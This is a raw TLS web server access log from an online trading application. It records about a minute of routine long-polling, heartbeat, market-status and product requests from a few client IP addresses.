[09/Jan/2026:15:00:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942276536 HTTP/1.1" -
[09/Jan/2026:15:00:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942275713 HTTP/1.1" -
[09/Jan/2026:15:00:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942282507 HTTP/1.1" -
[09/Jan/2026:15:00:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942293188 HTTP/1.1" -
[09/Jan/2026:15:00:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942278126 HTTP/1.1" -
[09/Jan/2026:15:00:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942281572 HTTP/1.1" -
[09/Jan/2026:15:00:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942287586 HTTP/1.1" -
[09/Jan/2026:15:00:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942280844 HTTP/1.1" -
[09/Jan/2026:15:00:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942283151 HTTP/1.1" -
[09/Jan/2026:15:00:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942286690 HTTP/1.1" -
[09/Jan/2026:15:00:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942292675 HTTP/1.1" -
[09/Jan/2026:15:00:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942286009 HTTP/1.1" -
[09/Jan/2026:15:00:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942288188 HTTP/1.1" -
[09/Jan/2026:15:00:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942291797 HTTP/1.1" -
[09/Jan/2026:15:00:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942297711 HTTP/1.1" -
[09/Jan/2026:15:00:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942291146 HTTP/1.1" -
[09/Jan/2026:15:00:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:00:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:00:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942293210 HTTP/1.1" -
[09/Jan/2026:15:00:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942296857 HTTP/1.1" -
[09/Jan/2026:15:00:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942302779 HTTP/1.1" -
[09/Jan/2026:15:00:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942296198 HTTP/1.1" -
[09/Jan/2026:15:00:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942298269 HTTP/1.1" -
[09/Jan/2026:15:00:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:00:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:00:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942301896 HTTP/1.1" -
[09/Jan/2026:15:00:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942301234 HTTP/1.1" -
[09/Jan/2026:15:00:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942307829 HTTP/1.1" -
[09/Jan/2026:15:00:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942303292 HTTP/1.1" -
[09/Jan/2026:15:00:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942306940 HTTP/1.1" -
[09/Jan/2026:15:00:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942306370 HTTP/1.1" -
[09/Jan/2026:15:00:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942308337 HTTP/1.1" -
[09/Jan/2026:15:00:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942313187 HTTP/1.1" -
[09/Jan/2026:15:00:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942312126 HTTP/1.1" -
[09/Jan/2026:15:00:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942311514 HTTP/1.1" -
[09/Jan/2026:15:00:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942313367 HTTP/1.1" -
[09/Jan/2026:15:00:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942322973 HTTP/1.1" -
[09/Jan/2026:15:00:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942317250 HTTP/1.1" -
[09/Jan/2026:15:00:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942316670 HTTP/1.1" -
[09/Jan/2026:15:00:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942318407 HTTP/1.1" -
[09/Jan/2026:15:00:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942328010 HTTP/1.1" -
[09/Jan/2026:15:00:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942322334 HTTP/1.1" -
[09/Jan/2026:15:00:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942321800 HTTP/1.1" -
[09/Jan/2026:15:00:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942323443 HTTP/1.1" -
[09/Jan/2026:15:00:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:00:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942333087 HTTP/1.1" -
[09/Jan/2026:15:00:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942327361 HTTP/1.1" -
[09/Jan/2026:15:00:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942326863 HTTP/1.1" -
[09/Jan/2026:15:00:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942328489 HTTP/1.1" -
[09/Jan/2026:15:01:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942338125 HTTP/1.1" -
[09/Jan/2026:15:01:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942332495 HTTP/1.1" -
[09/Jan/2026:15:01:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942331982 HTTP/1.1" -
[09/Jan/2026:15:01:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942333528 HTTP/1.1" -
[09/Jan/2026:15:01:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942343211 HTTP/1.1" -
[09/Jan/2026:15:01:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942337556 HTTP/1.1" -
[09/Jan/2026:15:01:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942337123 HTTP/1.1" -
[09/Jan/2026:15:01:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942338575 HTTP/1.1" -
[09/Jan/2026:15:01:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942342598 HTTP/1.1" -
[09/Jan/2026:15:01:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942348627 HTTP/1.1" -
